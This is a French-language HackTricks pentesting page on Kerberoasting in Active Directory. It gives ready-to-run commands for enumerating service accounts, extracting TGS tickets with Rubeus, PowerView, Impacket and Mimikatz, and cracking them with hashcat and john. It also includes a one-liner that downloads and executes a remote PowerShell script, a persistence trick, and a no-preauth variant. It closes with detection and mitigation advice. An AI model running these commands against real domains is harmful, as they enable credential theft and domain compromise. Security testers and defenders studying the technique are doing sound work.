Kerberoast
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Kerberoast
Kerberoasting se concentre sur l'acquisition de TGS tickets, spécifiquement ceux liés aux services fonctionnant sous des comptes utilisateurs dans Active Directory (AD), excluant les comptes d'ordinateur. Le chiffrement de ces tickets utilise des clés provenant des mots de passe utilisateurs, permettant la possibilité de cracking de credentials hors ligne. L'utilisation d'un compte utilisateur en tant que service est indiquée par une propriété "ServicePrincipalName" non vide.
Pour exécuter Kerberoasting, un compte de domaine capable de demander des TGS tickets est essentiel ; cependant, ce processus ne nécessite pas de privilÚges spéciaux, le rendant accessible à quiconque ayant des credentials de domaine valides.
Points Clés :
- Kerberoasting cible les TGS tickets pour les services de comptes utilisateurs au sein de AD.
- Les tickets chiffrĂ©s avec des clĂ©s provenant des mots de passe utilisateurs peuvent ĂȘtre crackĂ©s hors ligne.
- Un service est identifié par un ServicePrincipalName qui n'est pas nul.
- Aucun privilÚge spécial n'est nécessaire, juste des credentials de domaine valides.
Attaque
warning
Les outils de Kerberoasting demandent généralement RC4 encryption
lors de l'exĂ©cution de l'attaque et de l'initiation des requĂȘtes TGS-REQ. Cela est dĂ» au fait que RC4 est plus faible et plus facile Ă cracker hors ligne en utilisant des outils tels que Hashcat que d'autres algorithmes de chiffrement tels que AES-128 et AES-256.
Les hachages RC4 (type 23) commencent par $krb5tgs$23$*
tandis que ceux d'AES-256 (type 18) commencent par $krb5tgs$18$*
.`
Linux
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
Outils multi-fonction incluant un dump des utilisateurs kerberoastable :
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
Windows
- ĂnumĂ©rer les utilisateurs Kerberoastable
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
- Technique 1 : Demander un TGS et l'extraire de la mémoire
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
- Technique 2 : Outils automatiques
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
warning
Lorsqu'un TGS est demandé, l'événement Windows 4769 - A Kerberos service ticket was requested
est généré.
Cracking
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Persistance
Si vous avez suffisamment de permissions sur un utilisateur, vous pouvez le rendre kerberoastable :
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
Vous pouvez trouver des outils utiles pour les attaques kerberoast ici : https://github.com/nidem/kerberoast
Si vous trouvez cette erreur sous Linux : Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
, c'est Ă cause de votre heure locale, vous devez synchroniser l'hĂŽte avec le DC. Il existe quelques options :
ntpdate <IP du DC>
- ObsolĂšte depuis Ubuntu 16.04rdate -n <IP du DC>
Atténuation
Le kerberoasting peut ĂȘtre rĂ©alisĂ© avec un haut degrĂ© de discrĂ©tion s'il est exploitable. Pour dĂ©tecter cette activitĂ©, il convient de prĂȘter attention Ă l'ID d'Ă©vĂ©nement de sĂ©curitĂ© 4769, qui indique qu'un ticket Kerberos a Ă©tĂ© demandĂ©. Cependant, en raison de la haute frĂ©quence de cet Ă©vĂ©nement, des filtres spĂ©cifiques doivent ĂȘtre appliquĂ©s pour isoler les activitĂ©s suspectes :
- Le nom du service ne doit pas ĂȘtre krbtgt, car il s'agit d'une demande normale.
- Les noms de service se terminant par $ doivent ĂȘtre exclus pour Ă©viter d'inclure des comptes machines utilisĂ©s pour des services.
- Les demandes provenant de machines doivent ĂȘtre filtrĂ©es en excluant les noms de compte formatĂ©s comme machine@domain.
- Seules les demandes de ticket rĂ©ussies doivent ĂȘtre prises en compte, identifiĂ©es par un code d'Ă©chec de '0x0'.
- Surtout, le type de cryptage du ticket doit ĂȘtre 0x17, qui est souvent utilisĂ© dans les attaques de kerberoasting.
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
Pour atténuer le risque de Kerberoasting :
- Assurez-vous que les mots de passe des comptes de service sont difficiles Ă deviner, en recommandant une longueur de plus de 25 caractĂšres.
- Utilisez des comptes de service gérés, qui offrent des avantages tels que des changements de mot de passe automatiques et la gestion déléguée des noms de principal de service (SPN), renforçant la sécurité contre de telles attaques.
En mettant en Ćuvre ces mesures, les organisations peuvent rĂ©duire considĂ©rablement le risque associĂ© au Kerberoasting.
Kerberoast sans compte de domaine
En septembre 2022, un nouveau moyen d'exploiter un systĂšme a Ă©tĂ© mis en lumiĂšre par un chercheur nommĂ© Charlie Clark, partagĂ© via sa plateforme exploit.ph. Cette mĂ©thode permet l'acquisition de tickets de service (ST) via une requĂȘte KRB_AS_REQ, qui ne nĂ©cessite remarquablement pas de contrĂŽle sur un compte Active Directory. Essentiellement, si un principal est configurĂ© de maniĂšre Ă ne pas nĂ©cessiter de prĂ©-authentificationâun scĂ©nario similaire Ă ce qui est connu dans le domaine de la cybersĂ©curitĂ© comme une attaque AS-REP Roastingâcette caractĂ©ristique peut ĂȘtre exploitĂ©e pour manipuler le processus de requĂȘte. Plus prĂ©cisĂ©ment, en modifiant l'attribut sname dans le corps de la requĂȘte, le systĂšme est trompĂ© pour Ă©mettre un ST plutĂŽt que le Ticket Granting Ticket (TGT) chiffrĂ© standard.
La technique est entiÚrement expliquée dans cet article : Semperis blog post.
warning
Vous devez fournir une liste d'utilisateurs car nous n'avons pas de compte valide pour interroger l'LDAP en utilisant cette technique.
Linux
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
Windows
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
Références
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.